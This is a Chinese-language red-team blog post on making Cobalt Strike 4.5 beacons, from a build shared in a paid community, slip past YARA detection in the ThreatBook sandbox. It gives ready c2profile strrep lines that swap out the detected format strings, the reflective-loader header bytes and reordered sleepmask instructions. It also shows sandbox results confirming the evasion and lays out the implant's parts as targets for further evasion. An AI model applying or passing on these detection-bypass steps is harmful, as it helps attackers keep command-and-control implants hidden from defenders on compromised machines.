--
这几天有好多小伙伴使用了星球版的cobaltstrike 4.5。昨天有个小伙伴遇到一个奇怪问题,不用他自定义的c2profile,微步云沙箱一个yara都没匹配到,但是使用了他自定义的c2profile,被沙箱的yara疯狂匹配。
这个我也不知道为什么,按理说我没有过多针对yara规则做bypass,只把几个不好用c2profile篡改的点给patch掉了,剩余的地方应该很容易会被yara规则扫描到。(这里主要是stageless的exe,静态扫描)。
我为什么没有直接patch掉所有yara规则呢?我是不可能patch完的,yara有开源的规则,有闭源的规则,太多了,授人以鱼不如授人以渔,掌握了方法,自己在实际目标中,针对特定防御软件自行patch才是可取之道。
这种静态的规则检测,对抗其实很简单。这段时间有2篇不错的文章可以参考:
《Unleashing The Unseen: Harnessing The Power Of Cobalt Strike Profiles For EDR Evasion》
《Cobalt Strike and YARA: Can I Have Your Signature?》
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature/
我这儿拾人牙慧,使用微步云沙箱做做测试,微步云沙箱是国内使用最广泛的沙箱,非常优秀,本文测试不代表任何观点。
我使用https://www.red-team.cn/index.php?tools随机生成一个c2profile。并生成一个stageless的exe上传微步云沙箱
被疯狂扫出来了,点击查看匹配项特征如下:
050405040507050d05070504050704be0506050705010505378605010507050105106ff90500050405070537
%02d/%02d/%02d %02d:%02d:%02d
%s as %s\%s: %d
48895c240848896c24104889742418574883ec204c8b5108418bf0488bea488bd9458b0a458b5a044d8d52084585c9
4d5a4152554889e54881ec20000000488d1d
e9d3fdffffeb0ab801000000e9ad030000
3bc7750dff15ee8f01003d33270000
4183c9ff33d2ff1525e101004c63c04983f8ff
488d4d97e8f8cbffff4c8d9c24d0000000418bc7498b5b20498b7328498b7b30
488b4c24208b04018b4c240833c88bc189442408
49c1e002e821e4000003f34d8d349e3bf57d13
752c4c8d45af488d55af488d4d27
bd0800000085d27459ffcf4d85ed
4c8b5308458b0a458b5a044d8d52084585c975054585db7433453bcb73e6498bf94c8b03
其中有字符,有指令,字符一般都是print之类函数中的,删除肯定是不行的,所以替换下其中无关紧要的字符就行了:
strrep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
strrep "%s as %s\\%s: %d" "%s - %s\\%s: %d";
剩余的指令就是反射loader的头,默认的sleepmask。直接用https://defuse.ca/online-x86-assembler.htm 网站,把特征码转成指令,举1个例子:
这个是默认的sleepmask,然后复制下面的指令,把一些和顺序无关的mov指令调换下顺序:
mov QWORD PTR [rsp+0x10],rbp
mov QWORD PTR [rsp+0x8],rbx
mov QWORD PTR [rsp+0x18],rsi
push rdi
sub rsp,0x20
mov r10,QWORD PTR [rcx+0x8]
mov rbp,rdx
mov esi,r8d
mov rbx,rcx
mov r11d,DWORD PTR [r10+0x4]
mov r9d,DWORD PTR [r10]
lea r10,[r10+0x8]
test r9d,r9d
然后再用上边的网站转换成16进制:
最后修改c2profile替换下就OK了。
strrep "\x4D\x5A\x41\x52\x55\x48\x89\xE5\x48\x81\xEC\x20\x00\x00\x00\x48\x8D\x1D\xEA\xFF\xFF\xFF\x48\x89\xDF\x48\x81\xC3\xA4\x6E\x01\x00\xFF\xD3\x41\xB8\xF0\xB5\xA2\x56\x68\x04\x00\x00\x00\x5A\x48\x89\xF9\xFF\xD0" "\x4D\x5A\x48\x8D\x1D\xF8\xFF\xFF\xFF\x41\x52\x48\x83\xEC\x28\x48\x89\xDF\x48\x81\xC3\x52\xB7\x00\x00\x48\x81\xC3\x52\xB7\x00\x00\xFF\xD3\x48\xC7\xC2\x04\x00\x00\x00\x48\x89\xF9\xFF\xD0";
strrep "\x48\x89\x5C\x24\x08\x48\x89\x6C\x24\x10\x48\x89\x74\x24\x18\x57\x48\x83\xEC\x20\x4C\x8B\x51\x08\x41\x8B\xF0\x48\x8B\xEA\x48\x8B\xD9\x45\x8B\x0A\x45\x8B\x5A\x04\x4D\x8D\x52\x08\x45\x85\xC9" "\x48\x89\x6C\x24\x10\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x18\x57\x48\x83\xEC\x20\x4C\x8B\x51\x08\x48\x89\xD5\x44\x89\xC6\x48\x89\xCB\x45\x8B\x5A\x04\x45\x8B\x0A\x4D\x8D\x52\x08\x45\x85\xC9";
微步云沙箱yara就扫不出来了:https://s.threatbook.com/report/file/db7f83d07fb51933d97763ac99ff252e66c6282ffcb4e4ba955fe8c570f35177
但是其中还有一个命名管道被检测到,这个是artifact kit中的,自己编译一个新的artifactkit就OK了。在bypass-pipe.c中:
这仅仅是过了一些规则的检测,但是依旧有一半的引擎被检测出,很多商业规则,比较难以测试,因此作为一个红队选手,编写一些自己的独自使用的loader很有必要,本文不具体阐述如何写loader,但是分析下cobaltstrike的植入体结构,有利于大家做对抗。
其实我们生成的stageless文件包含4部分(按对抗点分):artifact、rdll loader、beacon、sleepmask。对应到cobaltstrike中的功能:
artifact -> artifact kit
rdll loader -> UDRL kit
beacon -> resource或sleeve目录下的beacon.xx.dll
sleepmask -> sleepmask kit
这是当前的CS的植入体结构,这个结构不是一蹴而就的,最开始只有artifact和beacon(包含rdll loader、sleepmask功能),artifact其实就是一个loader,你可以在其中加入各种对抗手法。慢慢的随着对抗升级,UDRL和sleepmask代码被从beacon中拆分了出来,让用户可以以BOF的形式自定义。
目前的执行流程就变成了如下图:
artifact加载beacon.dll,beacon.dll被加载后触发DLL_PROCESS_ATTACH,执行配置解密并放入堆上(ps:这也是beaconeye检测原理)。然后执行导出函数ReflectiveLoader。
rdll loader执行一系列的pe操作,把beacon在内存中安置好,然后执行清理,把自己清理掉。
把执行权给到beacon。
beacon就开始组装metadata回连,然后根据sleep时间执行sleepmask加密堆和beacon。
sleep时间到就解密beacon和堆,执行beacon中代码,执行完成又回到sleepmask。
4-5这个循环中,sleepmask的代码一直在内存中裸露的。(这个也是为什么当下内存查杀对抗点到了sleepmask上)
本文是因一个小伙伴私聊微步云沙箱的yara检测而起,第一部分简单对抗了一下已有yara规则,步骤比较详细,适合新手小伙伴,但是好的做法还是自定义,在知己知彼的情况下自定义,适合有一定基础的小伙伴,于是引入第二部分,cs植入体可能被提取yara规则的地方,其中beacon目前代码没有公开,无法自定义,其他部分均可以自定义。当前情况下,基本把暴露的点都留给了使用者自定义了,因此CS在不同人手动,可能威力就不同了,同时对使用者的要求也提高了很多。
目前星球版的4.5在sleepmask这块功能要弱于4.8,后续会改进到4.8类似的功能。星球也有4.8和最新的配套kit,可以直接使用。